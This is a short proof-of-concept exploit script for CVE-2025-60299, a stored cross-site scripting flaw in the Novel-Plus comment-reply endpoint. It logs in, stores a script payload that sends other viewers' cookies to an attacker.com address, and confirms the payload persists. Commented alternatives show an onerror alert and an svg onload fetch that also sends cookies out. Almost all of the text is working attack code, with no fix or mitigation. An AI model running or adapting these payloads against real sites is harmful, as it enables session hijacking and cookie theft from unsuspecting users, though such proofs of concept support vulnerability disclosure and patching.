CVE-2025-60299：Novel-Plus存储型XSS漏洞

# CVE-2025-60299 - Novel-Plus Stored XSS PoC # Vulnerability: Stored XSS via /book/addCommentReply endpoint # Parameter: replyContent import requests TARGET_URL = "http://target-novel-plus.com" LOGIN_URL = f"{TARGET_URL}/login" REPLY_URL = f"{TARGET_URL}/book/addCommentReply" # Step 1: Login with valid credentials (low privilege user) session = requests.Session() login_data = { "username": "attacker_user", "password": "attacker_password" } session.post(LOGIN_URL, data=login_data) # Step 2: Craft malicious XSS payload # The payload will be stored in the database and executed # when other users view the comment thread xss_payload = '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>' # Alternative payloads for different scenarios: # payload2 = '<img src=x onerror=alert(document.cookie)>' # payload3 = '<svg onload=fetch("http://attacker.com/log?data="+document.cookie)>' # Step 3: Submit the malicious reply via the vulnerable endpoint reply_data = { "bookId": "1", # Target book ID "commentId": "100", # Parent comment ID to reply to "replyContent": xss_payload # Malicious JavaScript payload } response = session.post(REPLY_URL, data=reply_data) if response.status_code == 200: print("[+] XSS payload successfully stored in the database") print("[+] When other users view this comment thread, the script will execute") else: print(f"[-] Failed to submit payload. Status code: {response.status_code}") # Step 4: Verification - fetch the comment page to confirm payload storage comment_page = session.get(f"{TARGET_URL}/book/bookDetail/1") if xss_payload in comment_page.text: print("[+] Payload confirmed stored - vulnerability is exploitable")